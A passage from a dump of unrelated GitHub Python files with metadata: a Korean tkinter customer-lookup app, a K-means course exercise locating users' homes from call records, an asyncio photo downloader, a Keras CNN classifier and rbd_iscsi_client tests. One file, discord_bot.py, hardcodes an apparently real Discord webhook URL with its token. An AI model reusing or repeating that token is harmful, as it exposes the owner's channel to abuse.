values_a_b_c_str = \" \".join(str(val) for val in values_a_b_c)\r\n label_result2.config(text=values_a_b_c_str)\r\n label_result1.config(text=\" 전화번호 고객명 주문횟수\")\r\n else:\r\n label_result1.config(text=\"\")\r\n label_result2.config(text=result + \" 는 최초 주문자입니다.\")\r\n \r\n user_response = messagebox.askyesno(\"새로운 주문자 추가\", \"새로운 주문자를 추가하시겠습니까?\")\r\n \r\n # USER 추가 로직 (코드 생략 합니다 ^^7)\r\n\r\n except Exception as e:\r\n print(\"Error occurred while reading the Excel file:\", e)\r\n else:\r\n label_result2.config(text=\"번호를 정상적으로 입력하였는지 확인해주세요\")\r\n\r\n\r\n# 창 생성\r\nwindow = tk.Tk()\r\nwindow.title(\"규림 최초 주문자 확인\")\r\n\r\n# 아이콘 파일 경로\r\nicon_path = \"kr.ico\"\r\n\r\n# 아이콘 설정\r\nwindow.iconbitmap(default=icon_path)\r\n\r\n# 창의 크기 설정\r\nwindow.geometry(\"300x500\")\r\nwindow.resizable(width=False, height=False)\r\n\r\n# 회사 로고\r\nimage_path = \"kr_rogo.jpg\" # 이미지 파일 경로\r\nimage = Image.open(image_path)\r\nimage = image.resize((100, 60)) # 이미지 크기 조정\r\nphoto = ImageTk.PhotoImage(image)\r\n\r\n# 이미지를 표시할 라벨 생성\r\nlabel_image = tk.Label(window, image=photo)\r\nlabel_image.place(relx=0.5, rely=0.1, anchor=tk.CENTER)\r\n\r\n# 안내 문구를 표시할 라벨 생성\r\nlabel = tk.Label(window, text=\"최초 주문자 확인\")\r\nlabel.place(relx=0.5, rely=0.2, anchor=tk.CENTER) # 가운데 정렬\r\n\r\nlabel = tk.Label(window, text=\"입력 예시 : 010 1234 5678\")\r\nlabel.place(relx=0.5, rely=0.3, anchor=tk.CENTER)\r\n\r\nlabel = tk.Label(window, text=\"made by Min\")\r\nlabel.place(relx=0.15, rely=0.02, anchor=tk.CENTER)\r\n\r\ndef validate_input(new_text, max_length):\r\n if new_text == \"\" or new_text.isdigit() and len(new_text) <= max_length:\r\n return True\r\n return False\r\n\r\n# 입력 상자 생성 (최대 3글자 숫자 입력 가능)\r\nentry1 = tk.Entry(window, width=6, validate=\"key\", validatecommand=(window.register(lambda text: validate_input(text, 3)), \"%P\"))\r\nentry1.place(relx=0.3, rely=0.35, anchor=tk.CENTER) # 가운데 정렬\r\n\r\n# 입력 상자 생성 (최대 4글자 숫자 입력 가능)\r\nentry2 = tk.Entry(window, width=6, validate=\"key\", validatecommand=(window.register(lambda text: validate_input(text, 4)), \"%P\"))\r\nentry2.place(relx=0.5, rely=0.35, anchor=tk.CENTER) # 가운데 정렬\r\n\r\n# 입력 상자 생성 (최대 3글자 숫자 입력 가능)\r\nentry3 = tk.Entry(window, width=6, validate=\"key\", validatecommand=(window.register(lambda text: validate_input(text, 4)), \"%P\"))\r\nentry3.place(relx=0.7, rely=0.35, anchor=tk.CENTER) # 가운데 정렬\r\n\r\n# 버튼 생성\r\nbutton = tk.Button(window, text=\"검색\", command=on_submit)\r\nbutton.place(relx=0.5, rely=0.45, anchor=tk.CENTER) # 가운데 정렬\r\n\r\n# 입력 상자의 포커스를 변경할 때 다음 입력 상자로 포커스 이동\r\nentry1.bind(\"\", lambda event: entry2.focus() if len(entry1.get()) >= 3 else None)\r\nentry2.bind(\"\", lambda event: entry3.focus() if len(entry2.get()) >= 4 else None)\r\n\r\n# 결과 출력 라벨 생성\r\nlabel_result1 = tk.Label(window, text=\"\")\r\nlabel_result1.place(relx=0.5, rely=0.6, anchor=tk.CENTER)\r\n\r\n# 결과 출력 라벨 생성\r\nlabel_result2 = tk.Label(window, text=\"\")\r\nlabel_result2.place(relx=0.5, rely=0.65, anchor=tk.CENTER)\r\n\r\n\r\n# 이벤트 루프 시작\r\nwindow.mainloop()\r\n", "repo_name": "AF797/User_Management_System", "sub_path": "User_Management_System.py", "file_name": "User_Management_System.py", "file_ext": "py", "file_size_in_byte": 4681, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.messagebox.askyesno", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 34, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 60, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 60, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 62, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 62, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 65, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 69, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 72, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 75, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tkinter.Entry", "line_number": 84, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 85, "usage_type": "attribute"}, {"api_name": "tkinter.Entry", "line_number": 88, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tkinter.Entry", "line_number": 92, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tkinter.Button", "line_number": 96, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 104, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 108, "usage_type": "call"}, {"api_name": "tkinter.CENTER", "line_number": 109, "usage_type": "attribute"}]} {"seq_id": "31096076427", "text": "import pandas as pd\nfrom datetime import timedelta\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom sklearn.cluster import KMeans\n\nmatplotlib.style.use('ggplot') # Look Pretty\n\n#\n# INFO: This dataset has call records for 10 users tracked over the course of\n# 3 years. Your job is to find out where the users likely live at!\n\n\ndef showandtell(title=None):\n if title is not None:\n plt.savefig(title + \".png\", bbox_inches='tight', dpi=300)\n plt.show()\n exit()\n\n\ndef clusterInfo(model):\n print(\"Cluster Analysis Inertia: \", model.inertia_)\n print('------------------------------------------')\n for i in range(len(model.cluster_centers_)):\n print(\"\\n Cluster \", i)\n print(\" Centroid \", model.cluster_centers_[i])\n print(\" #Samples \", (model.labels_ == i).sum()) # NumPy Power\n\n\n# Find the cluster with the least # attached nodes\ndef clusterWithFewestSamples(model):\n # Ensure there's at least on cluster...\n minSamples = len(model.labels_)\n minCluster = 0\n for i in range(len(model.cluster_centers_)):\n if minSamples > (model.labels_ == i).sum():\n minCluster = i\n minSamples = (model.labels_ == i).sum()\n print(\"\\n Cluster With Fewest Samples: \", minCluster)\n return (model.labels_ == minCluster)\n\n\ndef doKMeans(data, clusters=0):\n #\n # TODO: Be sure to only feed in Lat and Lon coordinates to the KMeans algo,\n # since none of the other data is suitable for your purposes. Since both\n # Lat and Lon are (approximately) on the same scale, no feature scaling is\n # required. print out the centroid locations and add them onto your scatter\n # plot. Use a distinguishable marker and color.\n #\n # Hint: Make sure you fit ONLY the coordinates, and in the CORRECT order\n # (lat first). This is part of your domain expertise.\n #\n model = KMeans(clusters)\n model.fit(data[['TowerLat', 'TowerLon']])\n\n return model\n\n\n#\n# TODO: Load up the dataset and take a peek at its head and dtypes.\n# Convert the date using pd.to_datetime, and the time using pd.to_timedelta\n#\ncdr = pd.read_csv('Datasets/CDR.csv')\ncdr.CallDate = pd.to_datetime(cdr.CallDate)\ncdr.CallTime = pd.to_timedelta(cdr.CallTime)\ncdr.Duration = pd.to_timedelta(cdr.Duration)\n\n\n#\n# TODO: Get a distinct list of \"In\" phone numbers (users) and store the value\n# in a regular python list.\n# Hint:\n# https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.tolist.html\n#\nunique_in = cdr.In.unique().tolist()\n\n\n#\n# INFO: The locations map above should be too \"busy\" to really wrap your head\n# around. Thi is where domain expertise comes into play. Your intuition tells\n# you that people are likely to behave differently on weekends:\n#\n# On Weekends:\n# 1. People probably don't go into work\n# 2. They probably sleep in late on Saturday\n# 3. They probably run a bunch of random errands, since they couldn't during\n# the week\n# 4. They should be home, at least during the very late hours, e.g. 1-4 AM\n#\n# On Weekdays:\n# 1. People probably are at work during normal working hours\n# 2. They probably are at home in the early morning and during the late night\n# 3. They probably spend time commuting between work and home everyday\n\n\nprint(\"\\n\\nExamining person: \", 0)\n#\n# TODO: Create a slice called user1 that filters to only include dataset\n# records where the \"In\" feature (user phone number) is equal to the first\n# number on your unique list above\n#\nuser1 = cdr[cdr.In == unique_in[0]]\n\n#\n# TODO: Alter your slice so that it includes only Weekday (Mon-Fri) values.\n#\ncdr = cdr[(cdr.DOW != 'Sun') & (cdr.DOW != 'Sat')]\n\n#\n# TODO: The idea is that the call was placed before 5pm. From Midnight-730a,\n# the user is probably sleeping and won't call / wake up to take a call. There\n# should be a brief time in the morning during their commute to work, then\n# they'll spend the entire day at work. So the assumption is that most of the\n# time is spent either at work, or in 2nd, at home.\n#\ncdr = cdr[cdr.CallTime < '17:00:00']\n\n\n#\n# TODO: Plot the Cell Towers the user connected to\n#\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.scatter(user1.TowerLat, user1.TowerLon, alpha=0.5, c='g')\n\n\n#\n# INFO: Run K-Means with K=3 or K=4. There really should only be a two areas of\n# concentration. If you notice multiple areas that are \"hot\" (multiple areas\n# the user spends a lot of time at that are FAR apart from one another), then\n# increase K=5, with the goal being that all centroids except two will sweep up\n# the annoying outliers and not-home, not-work travel occasions. the other two\n# will zero in on the user's approximate home location and work locations. Or\n# rather the location of the cell tower closest to them.....\nmodel = doKMeans(user1, 4)\nprint(model.cluster_centers_)\nax.scatter(model.cluster_centers_[:, 0], model.cluster_centers_[:, 1],\n marker='x', s=169, color='r', linewidths=3, alpha=0.5)\n\n#colors = ['green', 'pink', 'blue']\n#labels = [colors[i] for i in model.labels_]\n\n\n#\n# INFO: print(out the mean CallTime value for the samples belonging to the\n# cluster with the LEAST samples attached to it. If our logic is correct, the\n# cluster with the MOST samples will be work. The cluster with the 2nd most\n# samples will be home. And the K=3 cluster with the least samples should be\n# somewhere in between the two. What time, on average, is the user in between\n# home and work, between the midnight and 5pm?\nmidWayClusterIndices = clusterWithFewestSamples(model)\nmidWaySamples = user1[midWayClusterIndices]\nprint(\" Its Waypoint Time: \", midWaySamples.CallTime.mean())\n\n\n#\n# Let's visualize the results!\n# First draw the X's for the clusters:\n#ax.scatter(model.cluster_centers_[:, 1], model.cluster_centers_[:, 0], s=169,\n# c='r', marker='x', alpha=0.5, linewidths=2)\n#\n# Then save the results:\n# Comment the line below out when you're ready to proceed\n# showandtell('Weekday Calls Centroids')\n", "repo_name": "arthur-gouveia/DAT210x", "sub_path": "Module5/assignment3.py", "file_name": "assignment3.py", "file_ext": "py", "file_size_in_byte": 5947, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.style.use", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.style", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.to_timedelta", "line_number": 66, "usage_type": "call"}, {"api_name": "pandas.to_timedelta", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}]} {"seq_id": "39799929049", "text": "# -*- coding: utf-8 -*-\n\nimport asyncio\nimport aiohttp\nimport os\nimport time\n\nSTAR_PHOTO_DIR = \"./photos\"\nSTAR_PHOTO_LIST_DIR = \"./photolist\"\n\n\ndef save_photo(img, star_id, filename):\n path = os.path.join(STAR_PHOTO_DIR, star_id, filename)\n with open(path, \"wb\") as f:\n f.write(img)\n\n\n@asyncio.coroutine\ndef get_photo(url):\n with aiohttp.Timeout(10):\n resp = yield from aiohttp.request(\"GET\", url, headers={\" User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\"})\n image = yield from resp.read()\n return image\n\n\n@asyncio.coroutine\ndef download_one(star_id, url):\n filename = url.split(\"/\")[-1]\n if not os.path.exists(os.path.join(STAR_PHOTO_DIR, star_id, filename)) or \\\n (not os.path.getsize(os.path.join(STAR_PHOTO_DIR, star_id, filename)) > 1e3):\n image = yield from get_photo(url)\n save_photo(image, star_id, filename)\n return url\n\ndef download_all_for_star(star_id):\n urls = []\n with open(os.path.join(STAR_PHOTO_LIST_DIR, star_id),'r') as f:\n for line in f:\n if len(line.strip()) > 0:\n urls.append(line.strip())\n if len(urls) > 0:\n if not os.path.exists(os.path.join(STAR_PHOTO_DIR, star_id)):\n os.mkdir(os.path.join(STAR_PHOTO_DIR, star_id))\n to_download = [download_one(star_id, url) for url in sorted(urls)]\n wait_coro = asyncio.wait(to_download)\n loop = asyncio.get_event_loop()\n res, _ = loop.run_until_complete(wait_coro)\n loop.close()\n else:\n print(\"{} don't have any photo in its photo list file.\\n\".format(star_id))\n\n return star_id\n\n\ndef main(downloader):\n t0 = time.time()\n star_id = \"99\"\n count = downloader(star_id)\n elapsed = time.time() - t0\n print(\"\\n{} photo for star {} downloaded in {:.2f}s\".format(count, star_id, elapsed))\n\n\nif __name__ == '__main__':\n main(download_all_for_star)", "repo_name": "wangyixiang/SomeWorks", "sub_path": "concurrentDownloader/asyncioDownloader/e18-5.py", "file_name": "e18-5.py", "file_ext": "py", "file_size_in_byte": 1977, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "aiohttp.Timeout", "line_number": 20, "usage_type": "call"}, {"api_name": "aiohttp.request", "line_number": 21, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "asyncio.wait", "line_number": 45, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 46, "usage_type": "call"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "time.time", "line_number": 59, "usage_type": "call"}]} {"seq_id": "29411975156", "text": "import requests\nimport io\nimport uuid\n\n# discord webhook\nDISCORD_WEBHOOK = \"https://discord.com/api/webhooks/847295744925761616/PRRoam6IMBRqMfxZC5Iz_CAqD17n5rycpHPByYPlHgyZGR1uwtgVoI_GhE_NMplq_V91\"\n\ndef prefix(length=8):\n return str(uuid.uuid1()).replace(\"-\", \"\")[:length]\n\ndef notify(message, webhook=DISCORD_WEBHOOK, **kwargs):\n if len(message) > 2000:\n fname = prefix()\n kwargs.update({\"files\": {fname: io.StringIO(message)}})\n # submit only a preview, attach the rest in file\n message = \"{}{}{}\".format(message[:500], \".\"*79, message[-500:]) \n \n requests.post(webhook, data={\"content\": message}, **kwargs)", "repo_name": "sahn37/truckbot", "sub_path": "src/discord_bot.py", "file_name": "discord_bot.py", "file_ext": "py", "file_size_in_byte": 649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "uuid.uuid1", "line_number": 9, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 18, "usage_type": "call"}]} {"seq_id": "25085475775", "text": "import cv2\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten\nfrom keras.utils import to_categorical\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\nimport os\nimport matplotlib.pyplot as plt\nfrom typing import Tuple\n\n\ndef image_prepare(image: str, size: Tuple[int, int]) -> np.ndarray:\n \"\"\"\n Open, do grayscale, and resize image\n\n :param image:\n :param size:\n :return:\n \"\"\"\n\n image1 = cv2.imread(image)\n im_gray = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)\n im_equal = cv2.equalizeHist(im_gray)\n im_resize = cv2.resize(im_equal, size, interpolation=cv2.INTER_CUBIC)\n return im_resize\n\n\ndef convolut_model() -> Sequential:\n '''\n build CNN model\n '''\n model = Sequential()\n model.add(Conv2D(64, (5, 5), strides=(1, 1), activation='relu', input_shape=(128, 128, 1)))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n model.add(Conv2D(128, (5, 5), strides=(1, 1), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n model.add(Flatten())\n model.add(Dense(128, activation='relu'))\n model.add(Dense(len(list_train), activation='softmax'))\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n print(model.summary())\n return model\n\ndef test_pic(test: str) -> None:\n '''\n label test images\n '''\n X_test = image_prepare(test, image_size)\n X_t = np.array(np.zeros((1, image_size[0], image_size[1])))\n X_t[0] = X_test\n X_t = X_t.reshape(X_t.shape[0], 128, 128, 1).astype('float32')/255\n\n pr = model.predict(X_t)\n print(pr)\n cat_ind = np.argmax(pr[0])\n cat_name = y_name[cat_ind]\n dec = (f'Na zdjęciu jest {cat_name} na {round(pr[0][cat_ind]*100, 0)} %.')\n for_visual = cv2.imread(test)\n for_vis = cv2.cvtColor(for_visual, cv2.COLOR_BGR2RGB)\n for_vis = cv2.resize(for_vis, (400, 400), interpolation=cv2.INTER_CUBIC)\n for_vis_text = cv2.putText(\n img=for_vis,\n text=dec,\n org=(5, 390),\n color=(0, 255, 0),\n fontFace=4,\n fontScale=0.5,\n thickness=1)\n plt.figure(figsize=(10,10))\n plt.imshow(for_vis_text)\n plt.show()\n\n\nimage_size = (128,128)\n\n#build list of categories\nlist_train = os.listdir(f'train/')\ny_name = []\nlen1 = 0\nprint(list_train)\nfor n in list_train:\n y_name.append(n)\n list1 = os.listdir(f'train/{n}')\n len1 = len1 + len(list1)\n\n#create X_data zeros array\nX_data = np.array(np.zeros((len1, image_size[0], image_size[1])))\n\n#create y_data and X_data\nw = 0\ny_data = []\nfor c, m in enumerate(list_train):\n list2 = os.listdir(f'train/{m}')\n for p in list2:\n im_1 = image_prepare((f'train/{m}/{p}'), image_size)\n X_data[w] = im_1\n y_data.append(c)\n w+=1\n \n#print(y_data)\nX_norm = X_data/255\ny_cat = to_categorical(y_data)\n#print(y_cat)\n\n# reshape to be: [samples][pixels][width][height]\nX_norm = X_norm.reshape(X_norm.shape[0], image_size[0], image_size[1], 1).astype('float32')\n\n#train CNN model\nmodel = convolut_model()\nmodel.fit(X_norm, y_cat, epochs=15, verbose=2)\n#model.save('cnn_class1.h5')\n\n#Label test images\nlist_t = os.listdir('test')\nfor n in list_t:\n im_t = f'test/{n}'\n print(im_t)\n test_pic(im_t)\n\n", "repo_name": "MMiirrkk/CNN_classifier", "sub_path": "CNN_classifier.py", "file_name": "CNN_classifier.py", "file_ext": "py", "file_size_in_byte": 3273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Tuple", "line_number": 12, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.equalizeHist", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 12, "usage_type": "attribute"}, {"api_name": "keras.models.Sequential", "line_number": 32, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 34, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv2D", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling2D", "line_number": 37, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 40, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 61, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 62, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 79, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 104, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 116, "usage_type": "call"}]} {"seq_id": "70774666171", "text": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"Tests for `rbd_iscsi_client` package.\"\"\"\n\nimport unittest\nfrom unittest import mock\n\nfrom rbd_iscsi_client import client\nfrom rbd_iscsi_client import exceptions\n\nimport requests\n\n\nclass TestRbd_iscsi_client(unittest.TestCase):\n \"\"\"Tests for `rbd_iscsi_client` package.\"\"\"\n\n client = None\n FAKE_URL = 'client://fake-url:0000'\n FAKE_USER = 'user'\n FAKE_PASSWORD = 'password'\n\n def setUp(self):\n self.client = client.RBDISCSIClient(self.FAKE_USER,\n self.FAKE_PASSWORD,\n self.FAKE_URL,\n secure=False,\n http_log_debug=True,\n suppress_ssl_warnings=False,\n timeout=None)\n\n def tearDown(self):\n self.client = None\n\n def test_request_timeout(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n http_method = 'fake this'\n http_url = 'http://fake-url:0000'\n\n with mock.patch('requests.request', retest, create=True):\n # Test timeout exception\n retest.side_effect = requests.exceptions.Timeout\n self.assertRaises(exceptions.Timeout,\n self.client.request,\n http_url, http_method)\n\n def test_request_redirects(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n http_method = 'fake this'\n http_url = 'http://fake-url:0000'\n\n with mock.patch('requests.request', retest, create=True):\n # Test too many redirects exception\n retest.side_effect = requests.exceptions.TooManyRedirects\n self.assertRaises(exceptions.TooManyRedirects,\n self.client.request,\n http_url, http_method)\n\n def test_request_http_error(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n http_method = 'fake this'\n http_url = 'http://fake-url:0000'\n\n with mock.patch('requests.request', retest, create=True):\n # Test HTTP Error exception\n retest.side_effect = requests.exceptions.HTTPError\n self.assertRaises(exceptions.HTTPError,\n self.client.request,\n http_url, http_method)\n\n def test_request_url_required(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n http_method = 'fake this'\n http_url = 'http://fake-url:0000'\n\n with mock.patch('requests.request', retest, create=True):\n # Test URL required exception\n retest.side_effect = requests.exceptions.URLRequired\n self.assertRaises(exceptions.URLRequired,\n self.client.request,\n http_url, http_method)\n\n def test_request_exception(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n http_method = 'fake this'\n http_url = 'http://fake-url:0000'\n\n with mock.patch('requests.request', retest, create=True):\n # Test request exception\n retest.side_effect = requests.exceptions.RequestException\n self.assertRaises(exceptions.RequestException,\n self.client.request,\n http_url, http_method)\n\n def test_request_ssl_error(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n\n with mock.patch('requests.request', retest, create=True):\n # Test requests exception\n retest.side_effect = requests.exceptions.SSLError\n self.assertRaisesRegexp(exceptions.SSLCertFailed, \"failed\")\n\n def test_client_timeout_setting(self):\n self.client._http_log_req = mock.Mock()\n self.client.timeout = 10\n retest = mock.Mock()\n\n with mock.patch('requests.request', retest, create=True):\n self.assertEqual(self.client.timeout, 10)\n", "repo_name": "hemna/rbd-iscsi-client", "sub_path": "rbd_iscsi_client/tests/test_client_request.py", "file_name": "test_client_request.py", "file_ext": "py", "file_size_in_byte": 4899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.client", "line_number": 26, "usage_type": "name"}, {"api_name": "rbd_iscsi_client.client.RBDISCSIClient", "line_number": 32, "usage_type": "call"}, {"api_name": "rbd_iscsi_client.client", "line_number": 32, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 44, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 44, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 46, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 50, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 50, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions.Timeout", "line_number": 53, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions", "line_number": 53, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 58, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 58, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 60, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 60, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 64, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 64, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions.TooManyRedirects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "rbd_iscsi_client.exceptions", "line_number": 67, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 72, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 72, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 74, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 74, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 78, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 78, "usage_type": "name"}, {"api_name": "requests.exceptions", 